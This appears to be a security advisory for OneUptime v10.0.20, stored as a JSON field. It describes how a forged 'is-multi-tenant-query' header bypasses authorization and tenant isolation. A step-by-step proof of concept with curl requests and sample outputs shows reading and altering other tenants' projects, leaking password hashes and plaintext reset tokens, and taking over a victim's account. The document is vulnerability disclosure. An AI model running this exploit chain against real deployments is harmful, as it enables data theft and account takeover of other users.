+ "details": "### Summary\nA low‑privileged user can bypass authorization and tenant isolation in OneUptime `v10.0.20` by sending a forged `is-multi-tenant-query` header together with a controlled `projectid` header.\n\nBecause the server trusts this client-supplied header, internal permission checks in `BasePermission` are skipped and tenant scoping is disabled.\n\nThis allows attackers to:\n\n1. Access project data belonging to other tenants\n2. Read sensitive User fields via nested relations\n3. Leak plaintext resetPasswordToken\n4. Reset the victim’s password and fully take over the account\n\nThis results in cross‑tenant data exposure and full account takeover.\n\n### Details\n\nRoot cause\n\nThe API trusts a client‑controlled header to determine whether a request should bypass authorization checks.\n\nCommonAPI.ts\n```\nif (req.headers[\"is-multi-tenant-query\"]) {\n props.isMultiTenantRequest = true;\n}\n```\nBasePermission.ts\n```\nif (!props.isMultiTenantRequest) {\n TablePermission.checkTableLevelPermissions(...)\n QueryPermission.checkQueryPermission(...)\n SelectPermission.checkSelectPermission(...)\n}\n```\nWhen the attacker sends:\n```\nis-multi-tenant-query: true\n```\nthe system skips all authorization checks including:\n\n- Table permission validation\n- Query permission validation\n- Select permission validation\n- Tenant isolation enforcement\n\nAdditionally, tenant scoping is disabled in `TenantPermission`\n\nSensitive user data exposure\n\nProjects marked with:\n```\n@MultiTenentQueryAllowed(true)\n```\nallow cross-tenant queries when the header is present.\n\nThe Project model contains a relation:\n```\ncreatedByUser\n```\nBecause select permission checks are skipped, attackers can retrieve sensitive fields from the User model including:\n```\npassword\nresetPasswordToken\nwebauthnChallenge\n```\n\nReset token stored in plaintext\n\nIn the password reset flow:\n\nAuthentication.ts\n```\nresetPasswordToken: token\n```\nThe reset token is stored in plaintext in the database.\n\nDuring password reset:\n```\n/api/identity/reset-password\n```\nthe server validates the provided token directly.\n\nIf an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.\n\nExploitation chain\n\n1. Attacker bypasses tenant isolation using is-multi-tenant-query\n2. Attacker reads victim project\n3. Attacker selects createdByUser.resetPasswordToken\n4. Attacker triggers forgot-password for victim\n5. Attacker retrieves the fresh token via the same query\n6. Attacker calls /api/identity/reset-password\n7. Attacker sets a new password\n8. Attacker logs in as victim\n\nThis results in full account takeover.\n\n### PoC\n\n**Setup:**\n- Local OneUptime v10.0.20 instance\n- Two normal accounts:\n - Attacker account owns Project A (`7cb77c45-c2e0-42b5-8a28-57aa0dec6e82`)\n - Victim account owns Project B (`88ced36b-4c0a-4c12-bdf1-497d60b10b23`) with email `victim@example.com`\n\n---\n\n#### Chain 1: Direct Project Isolation Bypass\n\n**1. Read isolation bypass**\n\n```bash\ncurl -X POST http://localhost/api/project/get-list \\\n -H \"authorization: Bearer <attacker_token>\" \\\n -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n -H \"is-multi-tenant-query: true\" \\\n -H \"content-type: application/json\" \\\n -d '{\n \"query\": {},\n \"select\": {\n \"_id\": true,\n \"name\": true,\n \"createdOwnerEmail\": true\n }\n }'\n```\nResult: Returns both the attacker's and victim's projects:\n```json\n{\n \"data\": [\n {\n \"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\",\n \"name\": \"Victim Project\",\n \"createdOwnerEmail\": { \"value\": \"victim@example.com\" }\n },\n {\n \"_id\": \"7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\",\n \"name\": \"Attacker Project\",\n \"createdOwnerEmail\": { \"value\": \"attacker@example.com\" }\n }\n ],\n \"count\": 2\n}\n```\n2. Write isolation bypass\n\nVictim project name is initially: Victim Project ORIGINAL\n```\ncurl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \\\n -H \"authorization: Bearer <attacker_token>\" \\\n -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n -H \"is-multi-tenant-query: true\" \\\n -H \"content-type: application/json\" \\\n -d '{\"name\":\"Victim Project EXPLOIT\"}'\n```\nResult: Victim project name is updated to \"Victim Project EXPLOIT\" despite the attacker not being a member of the victim project.\n\n#### Chain 2: Account Takeover via Credential Leakage\n\n3. Trigger password reset for victim\n```\ncurl -X POST http://localhost/api/identity/forgot-password \\\n -H \"content-type: application/json\" \\\n -d \"{\\\"email\\\":\\\"victim@example.com\\\"}\"\n```\n4. Leak victim password hash and reset token via tenant bypass\n```\ncurl -X POST http://localhost/api/project/get-list \\\n -H \"authorization: Bearer <attacker_token>\" \\\n -H \"projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82\" \\\n -H \"is-multi-tenant-query: true\" \\\n -H \"content-type: application/json\" \\\n -d '{\n \"query\": {\"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\"},\n \"select\": {\n \"_id\": true,\n \"createdByUser\": {\n \"email\": true,\n \"password\": true,\n \"resetPasswordToken\": true\n }\n }\n }'\n```\nResult: Sensitive user data is exposed:\n```\n{\n \"data\": [{\n \"_id\": \"88ced36b-4c0a-4c12-bdf1-497d60b10b23\",\n \"createdByUser\": {\n \"email\": {\"value\": \"victim@example.com\"},\n \"password\": {\"value\": \"faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9\"},\n \"resetPasswordToken\": \"4b75e6d0-1aca-11f1-b2d4-698549b693fb\"\n }\n }]\n}\n```\n5. Take over victim account using leaked token\n```\n# Reset password with leaked token\ncurl -X POST http://localhost/api/identity/reset-password \\\n -H \"content-type: application/json\" \\\n -d '{\n \"resetPasswordToken\": \"4b75e6d0-1aca-11f1-b2d4-698549b693fb\",\n \"password\": \"AttackerChosenPassword123!\"\n }'\n\n# Login as victim with new password\ncurl -X POST http://localhost/api/identity/login \\\n -H \"content-type: application/json\" \\\n -d '{\n \"email\": \"victim@example.com\",\n \"password\": \"AttackerChosenPassword123!\"\n }'\n```\nResult: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.\n\n\n\nResult: Victim project name is updated despite the attacker not being a member of the victim project.\n### Impact\nThis vulnerability allows a low‑privileged authenticated user to:\n\n- bypass tenant isolation\n- access other tenant projects\n- read sensitive user credential fields\n- leak plaintext reset tokens\n- reset victim passwords\n- fully take over victim accounts\n\nBecause OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.",
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